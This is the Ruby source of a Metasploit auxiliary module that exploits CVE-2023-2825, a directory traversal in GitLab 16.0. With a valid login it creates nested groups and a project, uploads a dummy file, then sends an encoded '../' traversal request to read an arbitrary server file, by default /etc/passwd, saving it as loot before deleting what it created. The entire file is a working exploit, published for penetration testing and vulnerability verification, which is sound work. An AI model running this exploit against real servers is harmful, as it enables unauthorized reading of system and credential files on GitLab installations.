## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Gitlab include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'GitLab Authenticated File Read', 'Description' => %q{ GitLab version 16.0 contains a directory traversal for arbitrary file read as the `gitlab-www` user. This module requires authentication for exploitation. In order to use this module, a user must be able to create a project and groups. When exploiting this vulnerability, there is a direct correlation between the traversal depth, and the depth of groups the vulnerable project is in. The minimum for this seems to be 5, but up to 11 have also been observed. An example of this, is if the directory traversal needs a depth of 11, a group and 10 nested child groups, each a sub of the previous, will be created (adding up to 11). Visually this looks like: Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10. If the depth was 5, a group and 4 nested child groups would be created. With all these requirements satisfied a dummy file is uploaded, and the full traversal is then executed. Cleanup is performed by deleting the first group which cascades to deleting all other objects created. }, 'Author' => [ 'h00die', # MSF module 'pwnie', # Discovery on HackerOne 'Vitellozzo' # PoC on Github ], 'References' => [ ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'], ['URL', 'https://github.com/Occamsec/CVE-2023-2825'], ['URL', 'https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/'], ['CVE', '2023-2825'] ], 'DisclosureDate' => '2023-05-23', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]), OptString.new('FILE', [true, 'File to read', '/etc/passwd']) ] ) deregister_options('GIT_URI') end def get_csrf(body) if body.empty? fail_with(Failure::UnexpectedReply, "HTML response had an empty body, couldn't find CSRF, unable to continue") end body =~ /"csrf-token" content="([^"]+)"/ if ::Regexp.last_match(1).nil? fail_with(Failure::UnexpectedReply, 'CSRF token not found in response, unable to continue') end ::Regexp.last_match(1) end def check # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if @cookie.nil? vprint_status('Trying to get the GitLab version') version = Rex::Version.new(gitlab_version) if version != Rex::Version.new('16.0.0') return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") end report_vuln( host: rhost, name: name, refs: references, info: [version] ) return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}") end def run if datastore['DEPTH'] < 5 print_bad('A DEPTH of < 5 is unlikely to succeed as almost all observed installs require 5-11 depth.') end begin @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) if @cookie.nil? rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError fail_with(Failure::NoAccess, 'Unable to authenticate, check credentials') end fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if @cookie.nil? # get our csrf token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 csrf_token = get_csrf(res.body) vprint_good("CSRF Token: #{csrf_token}") # create nested groups to the appropriate depth print_status("Creating #{datastore['DEPTH']} groups") parent_id = '' first_group = '' (1..datastore['DEPTH']).each do |_| name = Rex::Text.rand_text_alphanumeric(8, 10) if first_group.empty? first_group = name vprint_status("Creating group: #{name}") else vprint_status("Creating child group: #{name} with parent id: #{parent_id}") end # a success will give a 302 and direct us to / res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'groups'), 'method' => 'POST', 'vars_post' => { 'group[parent_id]' => parent_id, 'group[name]' => name, 'group[path]' => name, 'group[visibility_level]' => 20, 'user[role]' => 'software_developer', 'group[jobs_to_be_done]' => '', 'authenticity_token' => csrf_token } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 csrf_token = get_csrf(res.body) vprint_good("CSRF Token: #{csrf_token}") # grab our parent group ID for nesting res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/ parent_id = ::Regexp.last_match(1) fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id end # create a new project project_name = Rex::Text.rand_text_alphanumeric(8, 10) print_status("Creating project #{project_name}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'projects'), 'method' => 'POST', 'vars_post' => { 'project[ci_cd_only]' => 'false', 'project[name]' => project_name, 'project[selected_namespace_id]' => parent_id, 'project[namespace_id]' => parent_id, 'project[path]' => project_name, 'project[visibility_level]' => 20, 'project[initialize_with_readme]' => 1, # The POC is missing a ] here, fingerprintable? 'authenticity_token' => csrf_token } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 project_id = URI(res.headers['Location']).path res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, project_id) }) csrf_token = get_csrf(res.body) # upload a dummy file print_status('Creating a dummy file in project') file_name = Rex::Text.rand_text_alphanumeric(8, 10) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, project_id, 'uploads'), 'method' => 'POST', 'headers' => { 'X-CSRF-Token' => csrf_token, 'Accept' => '*/*' # required or you get a 404 }, 'vars_form_data' => [ { 'name' => 'file', 'filename' => file_name, 'data' => Rex::Text.rand_text_alphanumeric(4, 25) } ] }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 res = res.get_json_document file_url = res.dig('link', 'url') if file_url.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unable to determine file upload URL, possible permissions issue") end # remove our file name file_url = file_url.gsub("/#{file_name}", '') # finally, read our file print_status('Executing dir traversal') target_file = datastore['FILE'] target_file = target_file.gsub('/', '%2F') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, project_id, file_url, '..%2F' * datastore['DEPTH'] + "..#{target_file}"), 'headers' => { 'Accept' => '*/*' # required or you get a 404 } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 500 print_error("Unable to read file (permissions, or file doesn't exist)") elsif res.code != 200 print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup end if res.body.empty? print_error('Response has 0 size.') elsif res.code == 200 print_good(res.body) loot_path = store_loot('GitLab file', 'text/plain', datastore['RHOST'], res.body, datastore['FILE']) print_good("#{datastore['FILE']} saved to #{loot_path}") else print_error('Bad response, initiating cleanup') end # deleting the first group will delete the sub-groups and project print_status("Deleting group #{first_group}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, first_group), 'method' => 'POST', 'vars_post' => { 'authenticity_token' => csrf_token, '_method' => 'delete' } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 end end